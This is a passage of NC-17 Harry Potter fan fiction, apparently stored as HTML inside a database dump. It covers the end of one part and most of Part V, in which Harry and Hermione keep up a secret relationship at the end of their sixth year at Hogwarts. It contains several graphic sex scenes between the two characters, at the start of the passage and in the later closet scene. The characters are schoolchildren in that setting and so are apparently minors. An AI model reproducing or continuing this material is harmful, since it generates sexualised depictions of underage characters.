He\'d tease her, letting his hand slip away, and she\'d moan desperately, moving around until he made contact with her again. She called out his name as she came, burying her face into her blankets to muffle the sound of her voice. <br>\n\n<br> Climbing up on the bed behind her, he quickly slipped into her wetness. She lifted her head up and gasped loudly when he pushed in as far as he thought he could go. Pushing back against him, he felt all her inner walls pulse, making him moan. His hands held onto her hips, pushing her skirt up as high as it would go, and continued to thrust into her. He was dressed in far too much clothing and he could feel the sweat dripping down his brow, droplets landing on the lenses of glasses. <br>\n\n<br> &quot;We have to get back soon,&quot; Hermione said, her voice strained. &quot;Go faster.&quot;<br>\n\n<br> He did just that, knowing that the next time they were together it would be different than this. It would planned and not just something that happened. Then again, maybe this didn\'t just happen. Maybe Hermione knew he would follow her. <br>\n\n<br> &quot;Please don\'t leave me,&quot; he said softly and she stopped thrusting back against him. &quot;Not yet. Don\'t leave me yet.&quot;<br>\n\n<br> &quot;No, not yet,&quot; she said, sounding hollow and sad. He needed her and although he wanted this to last forever, he was never sure how long their forever would be. Days or months or years . . . whatever it was he needed her. <br>\n\n<br> It wasn\'t long before he was coming hard inside of her, his head spinning with all the sensations and with the thought of having Hermione back again. The thought of what might happen because she was with him scared him and he tried to shake the fear out of his mind and enjoy the moment. <br>\n\n<br> He pulled out of her and gently tucked himself into his pants. Hermione rolled over and sat on the edge of the bed, her skirt out of place. She picked up his wand from off the bed and slowly moved her fingers over it (as if it was one more thing for her to study) before handing it back to him. She looked very contemplative and opened her mouth several times to speak before finally getting the words out. &quot;You do know you could have almost any girl . . .&quot;<br>\n\n<br> &quot;I don\'t want any girl. I want you,&quot; he said, reaching his hands out to her. He pulled her up and into his arms, holding her tight. He had already gone through this with Ron and he didn\'t really feel like going through it with Hermione now, too. &quot;You and not some twelve year old. You and not Cho. Just you.&quot;<br>\n\n<br> &quot;I know that. I just want to be sure you know it, too,&quot; she said. <br>\n\n<br> &quot;Are you sure you want this again? It won\'t take up too much time?&quot; he asked, scared of her answer. <br>\n\n<br> &quot;I\'ll try to work on managing all my classwork and this relationship at the same time,&quot; Hermione said, casting her eyes down from his. <br>\n\n<br> &quot;It\'s okay. It\'s important to you and if you need time, just tell me. Don\'t break up with me even for a little while. Please?&quot; he asked and she looked back up at him and nodded. <br>\n\n<br> &quot;We have to go. They must be wondering what happened to us by now,&quot; Hermione said, pulling away from him and looking around for her knickers. She found them and pulled them back on before going about fixing her mussed up hair. Harry stood behind her, looking into the mirror. His hair was standing up in all different directions, much like it normally did. <br>\n\n<br> She turned around and straightened his robes, tugging them back into place. She messed with his hair, trying to get it to do something it never would. <br>\n\n<br> &quot;Thanks,&quot; he said as she pulled her hand away from his hair and ran it down his chest. <br>\n\n<br> &quot;You have no clue, do you?&quot;<br>\n\n<br> &quot;About what?&quot; he asked, confused. <br>\n\n<br> &quot;Nothing,&quot; she said, walking towards the door. <br>\n\n<br> &quot;You came up here for your books. Shouldn\'t you at least take them with?&quot; Harry asked, reminding Hermione that there was a purpose to her trip up here. She turned around, grabbed her books and started towards the door again. <br>\n\n<br> &quot;You better wipe that silly grin from your face, Harry, or else people will wonder what you were doing,&quot; she called to him as she walked down the stairs to the common room with him following close behind. He wanted to reach out to her, to stop her and give her a long, hard kiss, but he thought better of it. They really did need to get back. <br>\n\n<br> As soon as they were through the portrait hole, they ran into a frantic looking Ron. &quot;What have you two been doing all this time? People are starting to notice that you\'re gone,&quot; he said, his hands moving as quickly as he was talking. <br>\n\n<br> &quot;I had to get my books,&quot; Hermione said, holding out the pile of texts in her arms for him to see. <br>\n\n<br> &quot;You risked your life to get your bloody books? And what about you? What are you doing here?&quot; Ron asked, turning to Harry. <br>\n\n<br> Harry didn\'t really have an easy answer to that question so he said nothing. Unfortunately, the Fat Lady\'s guest wasn\'t as willing to stay quiet. <br>\n\n<br> &quot;You aren\'t dead? How disappointing. I thought by now the two of you surely would be dead,&quot; she said, only to be shushed again by the Fat Lady. <br>\n\n<br> &quot;We have to get out of here before Professor McGonagall --&quot; Ron started to say but never had the chance to finish his sentence. <br>\n\n<br> &quot;Before I do what, Mr. Weasley?&quot; Professor McGonagall said, seeming to come out of nowhere. <br>\n\n<br> The three students jumped at the sound of her voice and turned towards her form moving quickly down the corridor. Even after all these years, Harry\'s heart still started pounding whenever he was caught doing something he wasn\'t supposed to be. Sneaking off with Hermione was definately one of those things he didn\'t want to be caught doing. <br>\n\n<br> &quot;Before . . .&quot; Ron began to answer but the pinched look on McGonagall\'s face let them all know they should remain silent. <br>\n\n<br> &quot;I should have known the three of you were up to something. Please come with me so we can discuss this further,&quot; the professor said and after exchanging several sheepish glances, they did what they were told. <br>\n\n<br> **************<br>\n\n<br> To Be Continued . . .<br>\n\n<br>\n\n</p>\n\n '),
	(18, 5, ' \n\n\n\n<title>Harry Potter and the Infernal Plan Part V</title>\n\n\n\n<p>Harry Potter and the Infernal Plan Part V<br> by Jori<br>\n\n<br> REVISED July 2003<br>\n\n<br> e-mail: Jori@netroenterprises.com<br>\n\n<br> Set during and after their sixth year at Hogwarts, Hermione asks something of Harry that will change their lives forever. <br>\n\n<br> NC-17<br>\n\n<br> Spoilers for all five books. Most of this was originally written well before Order of the Phoenix came out but I decided to go back and do some edits. Some were very necessary while others were more cosmetic.<br>\n\n<br> H/Hr story<br>\n\n<br> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.<br>\n\n<br> ***********<br>\n\n<br> Reeling over the loss of points and impending detentions for their absence from the Great Hall, Ron, Hermione and Harry each climbed into their individual sleeping bags and tried to fall asleep. Unfortunately, the hall was abuzz with Gryffindor students carrying on about one thing or another. Harry heard his name mentioned by a group of first years and tried to shut those conversations out. He didn\'t want to hear how he was to blame for a loss of at least twenty of those sixty house points McGonagall took away from them nor did he want to hear anyone speculate that he might be responsible for what else was happening at Hogwarts. He had enough of that over the years and he wasn\'t in the mood for more tonight. <br>\n\n<br> &quot;I hope it was worth it, you two sneaking off like that and all,&quot; Ron said from his sleeping bag. &quot;I can\'t see why you would both risk your lives . . . or points . . . to retrieve a couple of books.&quot;<br>\n\n<br> &quot;What books?&quot; Harry asked, completely forgetting what Hermione was up there for in the first place. She gave him a kick from inside her sleeping bag. &quot;Ow--yeah. Hermione and her books.&quot;<br>\n\n<br> &quot;Yes, Hermione and her books and you always making sure she\'s okay,&quot; Ron said, sounding more exasperated. <br>\n\n<br> &quot;No one asked for you to come find us,&quot; Harry said, trying to keep his voice at a whisper. <br>\n\n<br> &quot;I didn\'t want the two of you to get into trouble or killed by whatever was up there earlier. How was I supposed to know McGonagall was going to show up?&quot; Ron asked. Harry was thankful that his friend was looking out for them even if it failed in the end and he was more thankful that Ron\'s presence in the corridor took away any suspicion that he and Hermione had been alone up in the tower. Harry wasn\'t sure what to say to his friend. <br>\n\n<br> Hermione took care of that for him.<br>\n\n<br> &quot;Thank you, Ron, for trying to warn us,&quot; she said. &quot;I\'m sorry you got into trouble, too.&quot;<br>\n\n<br> &quot;Yes, thank you, Ron,&quot; Harry muttered. Hermione moved her sleeping bag around until she was as close to Harry as she could get without it being too obvious. Ron must have figured out what all that rustling was because he turned over to face away from them and feigned sleep. <br>\n\n<br> &quot;Hermione, there are too many people around,&quot; Harry whispered, looking around the dim hall to see if any of the prefects were watching. As much as he wanted to climb out of his sleeping bag and into hers, he didn\'t want to get into more trouble today. <br>\n\n<br> &quot;Shhh . . . I don\'t want to do anything. I just want to be here next to you. It\'s the nearest we might ever get to spending a night together,&quot; she said, taking his hand in hers. <br>\n\n<br> &quot;But we have spent the night together like this before. Or rather, you\'ve spent several nights at my bedside when I was in hospital. And how many nights have we spent together in the common room . . .&quot; Harry was asking when he felt Hermione place a finger on his lips to silence him. <br>\n\n<br> &quot;You know what I mean. I\'m just happy that we\'re back together again. I didn\'t realize how much I missed you until we were in my room and --&quot; Hermione started but Ron coughed to let them both know he was still awake and could still hear them. &quot;Are you still angry with me?&quot;<br>\n\n<br> &quot;After today? Are you kidding?&quot; Harry asked only to be met with more of Ron\'s coughing. <br>\n\n<br> &quot;We better stop talking before he chokes,&quot; Hermione whispered, moving in close enough to give Harry a quick good-night kiss. He kissed her back and they separated a little. Neither of them wanted to move too far away. <br>\n\n<br> He listened as she fell asleep, her breathing growing soft and even. He couldn\'t sleep just yet, his mind still going over the events of today. The person who broke into Hogwarts must have known that nearly the entire student body would have been out for the Quidditch match at that time so they must have some inside knowledge as to the happenings around here. But he didn\'t understand why they would try to come through Hermione\'s dorm room. Or how? Was it a trick, a student convincing everyone that the castle walls had been breached when they hadn\'t?<br>\n\n<br> Watching her sleep, he reached out to push a strand of hair away from her face and touched her cheek. Was this all because they were together now? Did someone really think that getting to her was the easiest way to get to him? Nothing had really changed between them in that respect. For years now, he would have done anything to protect his friends and that didn\'t change because he was dating Hermione. As crazy as Ron made him lately, he knew if it came down to it, he would do just as much to protect him as he would for Hermione. Harry\'s eyelids began to get heavy. The events of the day had worn him out and he couldn\'t think anymore. He needed to shut his eyes and sleep. He just wanted to sleep . . .<br>\n\n<br> Harry was somewhere so bright that he could barely keep his eyes open. Shading them with his hand, he looked around and realized that he was alone . . . no, more than alone. <br>\n\n<br> He was the only inhabitant of this white world or at least it felt that way. Once his eyes adjusted to the brightness, he tried to figure out what exactly this place was. For as far as he could see, there was nothing but intense light. There was no difference between the sky and ground and no horizon was visible in the distance. Even with all the light, this place wasn\'t warm. It was cold and . . . lifeless.<br>\n\n<br> Then it started. Harry clapped his hands over his ears, trying to escape from the cacophony of voices going on around him but his hands weren\'t enough. He could still hear some crying for help while others merely whimpered in pain. <br>\n\n<br> &quot;Who are you?&quot; he cried out, trying to make his voice rise above all the others, but no one answered him. All he could feel was sadness the likes of which he hadn\'t felt since he\'d last been around the Dementors. Could that possibly be what was causing this pain he was experiencing? <br>\n\n<br> &quot;It\'s the boy,&quot; someone said. It was the only voice distinct enough for him to understand. &quot;He can\'t help us. It\'s because of him that we\'re here and dying.&quot;<br>\n\n<br> The other voices starting wailing, creating a sound so hollow that it hurt Harry\'s stomach. <br>\n\n<br> Another voice chimed in, trying to talk over the others, and it was vaguely familiar to Harry. &quot;He\'s a powerful wizard. If he tries, he can help.&quot;<br>\n\n<br> &quot;Does he know he has it in him?&quot; another voice said.<br>\n\n<br> &quot;You would think so by now . . .&quot;<br>\n\n<br> He stumbled around, trying to find the source of the voices and only finding more light. The wailing voices never seemed to move. They stayed right above his head, encircling him. <br>\n\n<br> As hard as he tried to fight it, the pain surrounding him was becoming overwhelming. In all his years, he had never felt as alone as he did right now. Not even being locked in the cupboard as a small child could compare to this. The realization that he was so incredibly alone made him drop to his knees as he fought the urge to cry. He couldn\'t hold back the tears, thankful his scar didn\'t hurt. Maybe this was what it was like to be dead . . .<br>\n\n<br> &quot;Harry! Harry, wake up!&quot; Hermione said, shaking him. <br>\n\n<br> &quot;What happened?&quot; he asked, his eyes opening to find that there was no bright light here, only darkness. Dim stars twinkled on the ceiling above him but that was it. <br>\n\n<br> &quot;You . . . you were crying,&quot; Hermione said, edging in closer to him so they could talk freely without waking up the others around them. <br>\n\n<br> &quot;No, I wasn\'t,&quot; Harry said, quickly moving to wipe the evidence away from his eyes. He had fallen asleep with his glasses on and they got in the way now. <br>\n\n<br> &quot;It\'s okay. It\'s only me,&quot; she said, pulling his glasses from his nose and putting them somewhere safe. <br>\n\n<br> &quot;I wasn\'t crying,&quot; he said, not quite sure why that dream had such an effect on him. It was only a dream. <br>\n\n<br> &quot;Okay, you weren\'t crying but are you all right?&quot; she asked and he didn\'t have an answer. All he knew was he wanted to hold onto her and never let her go and to hell with the sleeping bag that separated them or the head boy or girl that might be watching. He did just that, pulling her as close as he possibly could. <br>\n\n<br> &quot;I\'ll be all right,&quot; he said, trying to shake off the feeling of cold despair his dream had created and focus instead on the warmth of his girlfriend in his arms. <br>\n\n<br> &quot;Can you tell me about it?&quot; Hermione asked. Someone a few sleeping bags over shushed them but that didn\'t stop Harry from answering. <br>\n\n<br> &quot;I don\'t think I can explain it yet. I was somewhere . . . I don\'t know where it was,&quot; Harry said, closing his eyes. His memory of the dream was starting to fade quickly and he couldn\'t get it back. All that was left was the emptiness. <br>\n\n<br> &quot;It was only a dream,&quot; Hermione said with a yawn. <br>\n\n<br> &quot;Yes, it was only a dream.&quot;<br>\n\n<br> **************<br>\n\n<br> The days were going by far too fast for Harry\'s liking and he was dreading the approaching summer more this year than he had ever before. He had no idea how he was going to be able to survive the whole summer without Hermione and the thought of being apart from her that long made his heart ache. He looked at her from across the table in the common room and sighed. <br>\n\n<br> &quot;You need to be studying,&quot; Hermione said, looking up at Harry from the book in front of her. She then turned to Ron. &quot;Both of you.&quot;<br>\n\n<br> Ron picked his head up off the table and pretended to be looking at his book before putting his head back down. &quot;Maybe something will happen again this year and they\'ll cancel exams. Harry, make something happen so they get canceled, will you?&quot;<br>\n\n<br> &quot;And risk having to go back to the Dursley\'s early? No way,&quot; Harry said, not failing to catch the slight smile that formed on Hermione\'s lips. <br>\n\n<br> &quot;You need to make it so they just cancel the exams and let us stay here,&quot; Ron said, lifting his head long enough to flip the page he never looked at. &quot;Or you could come to the Burrow for the summer though I\'m sure Dumbledore wouldn\'t allow it. He never does.&quot;<br>\n\n<br> &quot;You know why he won\'t. This isn\'t the first year he wants me to go back to the Muggles and you know all the reasons why,&quot; Harry said. <br>\n\n<br> &quot;Still, we could probably work something out if what happened was horrible enough,&quot; Ron said.<br>\n\n<br> &quot;How could it be more horrible than what happened to Cedric? I still had to go home after that,&quot; Harry said and the mention of Cedric Diggory\'s name silenced Ron for a bit. <br>\n\n<br> &quot;The two of you could study and then you wouldn\'t have to worry about conjuring up something horrible enough to make them cancel the exams. Really, exams aren\'t that bad,&quot; Hermione said and Harry and Ron both looked at each other, Ron rolling his eyes a bit. <br>\n\n<br> &quot;She\'s completely mad,&quot; Ron said. <br>\n\n<br> &quot;I\'m right here. I can hear you,&quot; Hermione said, pulling another book off of the large pile sitting on the table next to her. She started to thumb through it before casting it aside and grabbing another. &quot;I can\'t find it. Why can\'t I find it? I just read it last night!&quot;<br>\n\n<br> &quot;Do you need some help?&quot; Harry asked, reaching for one of her books before she stopped him. <br>\n\n<br> &quot;What I need is silence,&quot; Hermione said, sounding very frustrated now. Harry pulled his hand back, knowing better than to get in her way when she was studying. If he disturbed her too much, she might consider them separating again for a while and with the end of the year so close, he couldn\'t risk it. <br>\n\n<br> &quot;Ron, would you like to go out to the Quidditch pitch? I haven\'t had the chance to get out there since we beat Ravenclaw and I\'d really like to before the term is over,&quot; Harry said and Ron perked right up. <br>\n\n<br> &quot;I\'d love to!&quot; he said, packing up his books as quickly as he could. <br>\n\n<br> &quot;You two are going to fail!&quot; Hermione said, her voice tense, the expression on her face even more tense. <br>\n\n<br> &quot;We haven\'t yet. Give me your books, Ron, and I\'ll take them up to our room and get our brooms,&quot; Harry said, piling up the books. He dashed up the stairs and was back in a few minutes, carrying both of their brooms. After he finished Hogwarts, Fred donated his broom to Ron and although it was old compared to Harry\'s, it was better than what he had before. <br>\n\n<br> &quot;You\'re going to fail,&quot; Hermione muttered one more time and Harry gave her a quick kiss on the cheek before leaving her to her studies. <br>\n\n<br> On their way to the pitch, Ron and Harry chatted about various professional Quidditch teams (mostly the Chudley Cannons who in Ron\'s opinion had a phenomenal year) and how they were certain that Professor Snape\'s exam would be unfair. They also talked about how Ron might be going to Romania for part of the summer but Harry could still come to The Burrow if things got too bad at the Dursley\'s. <br>\n\n<br> When they were nearly to the pitch, Ron changed the subject entirely. &quot;So, what\'s it like?&quot; he asked. <br>\n\n<br> &quot;What\'s what like?&quot; Harry queried back. <br>\n\n<br> &quot;You know, what\'s sex like? Is it as good as it sounds?&quot; Ron asked and Harry nearly dropped his broom. <br>\n\n<br> &quot;Why do you think I would know?&quot; Harry asked, trying to regain his composure. He started walking faster towards the pitch, his face turning crimson. He wasn\'t sure what to tell his friend or if even wanted to. <br>\n\n<br> &quot;Oh, give it up, Harry! You think we all haven\'t noticed you sneaking off in the middle of the night? Then you and Hermione disappear for hours at a time . . .&quot;<br>\n\n<br> &quot;Hours? I don\'t think so,&quot; Harry said, screwing up his face. They had tried to be careful so no one would notice. Hermione was afraid that Professor McGonagall would send a letter to her parents if they were caught. As much as he would like to claim that he could make it last that long, with the exception of Valentine\'s Day, they were rarely gone for more than half an hour.<br>\n\n<br> &quot;That\'s not the point. I was just curious as to what it was like,&quot; Ron said, not giving up. <br>\n\n<br> &quot;You said you didn\'t want to know about anything she and I have done together. I remember you telling me that,&quot; Harry said, still trying to avoid the topic. They were on the pitch now and Harry wanted to do nothing more than get on his broom and escape. He was sure that teenage boys were supposed to brag all about it to their other male friends, but this was different. It concerned Hermione and he didn\'t want to say anything that would hurt her . . . or would get him hurt if she found out. He didn\'t want to have Hermione angry at him when they had so few days left together before summer, especially since he wanted to be with her again at least one more time.<br>\n\n<br> &quot;You don\'t have to give me any specifics,&quot; Ron said with an exasperated sigh. <br>\n\n<br> &quot;I really wouldn\'t know any specifics,&quot; Harry lied. <br>\n\n<br> &quot;I just wanted to know if it was good.&quot; Ron was looking down at the ground now, kicking at the grass. He looked slightly hurt that Harry wouldn\'t share this bit of secret information with him. <br>\n\n<br> &quot;I\'m sure you\'re going to meet someone soon, Ron, and then you\'ll know and then you can tell me.&quot;<br>\n\n<br> Harry got on his Firebolt and eased it into the air, hovering just above the ground. Ron still didn\'t look up at him but instead continued to focus on that same bit of grass. He had a feeling that Ron was just testing him, pushing to see just how far he and Hermione had gone. He probably didn\'t want to hear the truth at all. <br>\n\n<br> &quot;Or you could just answer the bloody question,&quot; Ron said. Since he kept pushing the issue, Harry was going to give Ron what he thought he wanted. He prepared to take off on his broom as soon as he answered, not wanting to see the expression on his friend\'s face afterwards, and then told Ron the truth. <br>\n\n<br> &quot;At first, it was just okay. It was good and all, or at least it was for me, but now . . . there\'s only one thing I could imagine would be better and that would be seeing the death of Voldemort. Other than that . . . yeah, it\'s great.&quot;<br>\n\n<br> And with that, he was off. <br>\n\n<br> ***************<br>\n\n<br> The tiny room was stifling to begin with and the heat they were generating under the invisibility cloak wasn\'t helping matters any. Harry could feel the sweat forming on his brow as Hermione moved over him, her body hot and tight around him. Every move she made was slow and deliberate and he thought he was going to go insane. <br>\n\n<br> &quot;Hermione, you\'re killing me!&quot; he said, wrapping his hands around her waist and urging her to move faster. She bent over far enough to give him one kiss before she went back to her torture. <br>\n\n<br> &quot;I want this to last,&quot; she said, pulling his hands from her waist. Their fingers entwined and he held on tight. He swore he could feel her heartbeat through his own hands and it pulsed through his body to his chest. Even though he knew what real magic was, he was completely convinced this moment was just as magical as anything he had been taught here over the years. <br>\n\n<br> As if wishing made it true, time did feel like it was slowing down around them. Harry tried to memorize every last detail of this moment so he\'d have something to take home with him. He was going to need it to make it through the long summer ahead. <br>\n\n<br> Hermione held onto his hands even tighter, moving enough to nearly let him slip out before sinking back down again. Taking him in until he could go no further, she stopped, clenching all her muscles around him. <br>\n\n<br> &quot;This isn\'t going to last much longer if you keep that up,&quot; Harry said through clenched teeth and in the dim light that barely made it through the cloak, he could see Hermione teasingly smile at him. <br>\n\n<br> &quot;Remember the first time we did this and I couldn\'t wait for it to be over?&quot; she asked. <br>\n\n<br> &quot;I remember it well,&quot; Harry said, quite certain there was no way he\'d ever forget that day for the rest of his life. Someone could perform a memory charm on him and he was sure he\'d still remember it. <br>\n\n<br> &quot;What was wrong with me?&quot; she asked. <br>\n\n<br> &quot;It wasn\'t like it is now,&quot; he said, thrusting up into her. He pulled a hand away from hers and ran it down her stomach and downwards. She stopped moving as he concentrated only on her, wanting to feel her come while he was inside her body. He circled her clitoris, pressing until he could feel her tighten around him, gasping for breath. She closed her eyes and squeezed his hand, her nails digging into his flesh. &quot;We had no clue what we were doing then and now . . .&quot;<br>\n\n<br> &quot;We\'re bloody fantastic together,&quot; Hermione said, her body shuddering around his. It was almost enough to make him come with her but then she fell forwards, letting him slip out. He moaned his displeasure but she silenced him with a deep kiss, their bodies now sticking together. She placed quick little kisses all over his face and his forehead, pushing his hair aside to do so. <br>\n\n<br> Shifting a little, she reached between them and guided him back inside. After easing down, she held onto his hands, her face just a little bit over his, as she started to move once more. His eyes were locked onto hers and at that moment he was convinced he could never love anyone this much ever again. It would be impossible. She was now the other half that made him whole and no one else on earth could possibly fit like she did. <br>\n\n<br> It didn\'t take much longer and he felt the room whirl around him as he came, his eyes fluttering shut and for a few seconds. There no longer was enough oxygen in the room and everything started to slip off into a terrific white light. Then he felt her fingers still clutching his, bringing him back to this place. <br>\n\n<br> &quot;How am I going to make it the whole summer without you?&quot; Harry asked as he tried to catch his breath, his head spinning now from the heat and the feel of her body still around his. <br>\n\n<br> &quot;Don\'t think about it right now,&quot; Hermione said but that was impossible. Exams were over and this was the last time they\'d be able to sneak away before it was time to depart for the summer. <br>\n\n<br> &quot;I\'ll run away and stay at the Leaky Cauldron. You can come see me there,&quot; he said, his brain trying to figure out how he\'d get that one by all the people who kept close tabs on him. Maybe there was another place he could stay where no one would know him and they wouldn\'t be able to find him. <br>\n\n<br> &quot;My parents wouldn\'t let me do that. Harry, it\'s going to be okay. We\'ll figure it out,&quot; she said. <br>\n\n<br> &quot;I don\'t want to lose you.&quot;<br>\n\n<br> &quot;How would you lose me?&quot; she asked. <br>\n\n<br> &quot;Time. Distance. Someone else,&quot; he said. <br>\n\n<br> &quot;That\'s not going to happen. That will never happen. You are everything to me and I\'m not going to leave you again,&quot; she said, kissing him gently on the lips. <br>\n\n<br> Hermione slid down next to him, and they snuggled under the cloak, using it as a blanket now. There wasn\'t a point to it in here since their clothes were strewn everywhere and it was rather obvious that this closet was occupied but they needed it to get back. <br>\n\n<br> &quot;Promise me that if anything happens this summer . . . if anything looks even the slightest bit out of place, you\'ll call me straight away. You\'ll do that, won\'t you?&quot; Harry asked, pulling her close. Their legs tangled together and he held her hand up, playing with her fingers. <br>\n\n<br> &quot;I will but nothing is going to happen to me. I won\'t let it,&quot; she said. <br>\n\n<br> &quot;Still, promise me, okay? I don\'t care what Uncle Vernon says or does to me. Call me at anytime if something is strange or even for no reason at all. Luckily, you have a phone at home and you know how to use the post properly. Maybe he won\'t mind as much if we communicate that way rather than through Hedwig even if the regular post is slower,&quot; Harry said. He didn\'t want this day to end and he certainly didn\'t want to return to the Dursleys. This was the last summer he\'d have to ever spend at Privet Drive. Next summer, his schooling would be over and he\'d never have to speak to them again. That would probably make them all too happy. <br>\n\n<br> He only had a vague idea of what he was going to be doing with his life then but he hoped Hermione was a big part of it. They usually didn\'t discuss it much, afraid they\'d jinx any future they might have by hoping for too much. <br>\n\n<br> &quot;This year has been quiet,&quot; Hermione said. <br>\n\n<br> &quot;Too quiet,&quot; Harry added. The fact that very little happened this year had been weighing heavily on his mind for a while now. The two incidents where they believed someone had broken into the school were still unexplained but some were blaming it on Peeves and some sort of trick he was pulling. Others felt that the detectors placed around the school to catch such things were too sensitive and there was never anyone really there. <br>\n\n<br> Harry didn\'t believe either of those theories but there wasn\'t much he could do about it now. He was sure that someone would be looking into it over the summer and everything would be back to normal at the beginning of the school year. <br>\n\n<br> &quot;We better go back soon before anyone notices we\'re gone. I don\'t want Ron to suspect anymore than he already does,&quot; Hermione said. <br>\n\n<br> &quot;Hermione, about that . . .&quot;<br>\n\n<br> &quot;About what?&quot; she asked, curling around him even more even though they both knew this had to end soon. <br>\n\n<br> &quot;About Ron. He already knows,&quot; Harry said, afraid of what was coming next. <br>\n\n<br> &quot;What!?&quot; Hermione asked, propping herself up to look at him. &quot;You told him?&quot;<br>\n\n<br> &quot;Not exactly,&quot; Harry said.<br>\n\n<br> &quot;Then what exactly?&quot; she asked.<br>\n\n<br> &quot;Okay, maybe I did . . . but he kept asking and I lied for as long as I could,&quot; he said and she flopped back down beside him. &quot;It\'s not that bad, Hermione. I love you so it\'s not like we\'re just sneaking off for a quick shag. Ron won\'t tell anyone.&quot;<br>\n\n<br> &quot;I know but it\'s just odd thinking someone else knows. I mean, someone else besides Peeves,&quot; Hermione said with a sigh. &quot;It was our own little world.&quot;<br>\n\n<br> &quot;It still is,&quot; Harry said, pulling Hermione until she was on top of him again. They kissed for a long time, and she moved her body against his until there was no way they were going back up to Gryffindor Tower anytime soon. <br>\n\n<br> &quot;As long as Ron already knows, we might as well stay down here for a while longer,&quot; Hermione said, rolling them until he was on top, her legs wrapped high around his waist. The invisibility cloak was forgotten beside them now but that didn\'t make the room any cooler. <br>\n\n<br> &quot;We might as well,&quot; he said, propping himself up so he could look down at her. Her hand darted out, quickly tousling his damp hair, and he smiled. &quot;This is going to be the longest summer of my life.&quot;<br>\n\n<br> &quot;Oh, Harry, I\'ll talk to my parents. They don\'t know about this so they won\'t question why I want you to come visit beyond the fact that you\'re my best friend. Maybe since they\'re Muggles, your uncle will let you come visit without question and without hassling you like he does when you go to the Weasley\'s. We\'ll even come and pick you up in a car,&quot; Hermione said. <br>\n\n<br> &quot;I\'d love that but don\'t get your hopes up,&quot; he said, sighing. Moving so he was brushing against her sex, she pulled him down so he was pressed to her body, her breasts soft under his chest. <br>\n\n<br> &quot;That will just make coming back for our last term that much sweeter,&quot; she said, kissing him as he slid into her body one final time. <br>\n\n<br> **********<br>\n\n<br> They made their way towards Gryffindor tower in silence, having to dart behind a suit of armor when Professor Snape came around the corner. Hiding under the invisibility cloak, they held their breath until he passed but he looked too preoccupied to care about them or anything else that might be in this hallway. Several other professors soon followed, all with the same look on their faces.<br>\n\n<br> &quot;Something must be going on,&quot; Hermione whispered when he was gone and they started towards their tower again.<br>\n\n<br> &quot;It\'s too quiet,&quot; Harry said. It was more quiet than usual on the last night before summer. When they were making their way down here earlier, he saw many of the older students sneaking around, probably trying to get in one last good shag before it was time to go home. At least they weren\'t breaking the rule about taking someone with when wandering about the castle. Nearly everyone had someone with them.<br>\n\n<br> Harry found it strange that there wasn\'t even the usual chatter coming from the portraits lining the wall. Many of them did most of their visiting in the evening hours but that didn\'t seem to be so tonight.<br>\n\n<br> They got to the portrait of the Fat Lady and Hermione pulled off the cloak in order to give the password. They waited for a few seconds before noticing that although she was staring right at them, the Fat Lady wasn\'t saying a word. She wasn\'t moving, either. Instead, she looked like a Muggle portrait instead of her usual self.<br>\n\n<br> &quot;I think we just discovered what\'s going on,&quot; Hermione said. Harry ran to another portrait down the hall and the old wizard in it was indeed just as frozen as the Fat Lady. Nobody had been talking because it appeared that nobody could. He never really knew what kind of magic allowed for the portraits to be animated beings but whatever it was, it was gone now.<br>\n\n<br> &quot;How are we going to get in?&quot; Harry asked, looking at the Fat Lady again. He ran his hand over the canvas and it felt cold, as if its life had been sucked out of it and perhaps it had.<br>\n\n<br> &quot;We\'ll have to wait until someone comes out,&quot; Hermione said, sitting down across the way, the cloak bunched up in her lap.<br>\n\n<br> &quot;What if they can\'t get out?&quot; Harry asked.<br>\n\n<br> &quot;Getting out is never the problem,&quot; Hermione said, staring up at the portrait as if she were on a class trip to a museum and had to write a paper on it later.<br>\n\n<br> &quot;Maybe we should tell someone. The professors might not know that the students can\'t get into the dormitories,&quot; Harry said, sitting down next to Hermione.<br>\n\n<br> &quot;And get into trouble for being out of the dormitory in the first place? I don\'t think I want that letter going home to my parents. They would never let me see you over the summer if they knew the truth,&quot; Hermione said.<br>\n\n<br> &quot;So we just wait until they solve the problem with the portraits?&quot; Harry asked.<br>\n\n<br> &quot;If they can solve it,&quot; Hermione said, still watching for signs of life from the Fat Lady.<br>\n\n<br> &quot;Do you think that this might happen to all pictures? I mean, all wizard pictures? What if none of them can move anymore?&quot; Harry asked. He didn\'t think he could bear the thought of looking at his photo album without the pictures of his parents moving.<br>\n\n<br> &quot;I believe that\'s a different kind of magic. Colin explained it to me once . . . he really has become an expert at it, you know . . . and he never said how they do the same to paintings and drawings. I think if it was the same process, he might have mentioned it,&quot; Hermione said.<br>\n\n<br> &quot;What if this thing with the art has something to do with the two break-ins? I\'m not sure how they could be tied together but what if they are? Maybe . . .&quot; Harry started.<br>\n\n<br> &quot;We don\'t have any art in our dorm room. We did at first but Lavender always felt that the one painting was watching her so we had it removed. You think someone would have to come out eventually,&quot; Hermione said and Harry moved closer. He took her hand in his played with her fingers.<br>\n\n<br> &quot;I never want to leave Hogwarts for summer holiday but this year . . .&quot;<br>\n\n<br> &quot;I know,&quot; she said softly.<br>\n\n<br> &quot;It\'s not just about the sex. I want you to know that. Even though I\'ll miss that all summer, I\'ll miss just being with you more. Listen to me. I\'ve turned into such a sap,&quot; Harry said and Hermione laughed. &quot;I do love you, Hermione.&quot;<br>\n\n<br> Before she had a chance to answer, someone else came sneaking back to the dormitory. It was Seamus Finnegan who looked rather surprised to find them sitting there. He started dating a sixth year Hufflepuff named Mandy a few weeks ago and he must have been off with her.<br>\n\n<br> &quot;Did you both forget the latest password?&quot; Seamus asked, turning to the portrait. &quot;Lucky for you I showed up.&quot;<br>\n\n<br> &quot;There\'s something wrong with the Fat Lady. Actually, there\'s something wrong with all the paintings,&quot; Hermione said, releasing Harry\'s hand and standing up.<br>\n\n<br> &quot;Did anyone tell Professor McGonagall?&quot; Seamus asked and Harry and Hermione just looked at each other. &quot;Ah, that\'s right. Nobody really knows about the two of you, do they now? You both can hide out for a while and I\'ll go find her. I\'m sure she\'ll know how to help us get back in there. After I get in, if the portrait closes, I\'ll open it back up for you. I\'m not worried about getting in trouble with her or with me mom or dad.&quot;<br>\n\n<br> With that, he took off down the corridor to find Professor McGonagall. Hermione sat back down close to Harry and pulled the invisibility cloak over them both.<br>\n\n<br> &quot;She\'ll probably notice that we\'re gone and we\'ll get in trouble our last night here anyway,&quot; Harry said, sighing.<br>\n\n<br> &quot;It was worth it, though,&quot; Hermione said and Harry felt a blush rise to his cheeks. &quot;Oh, and Harry 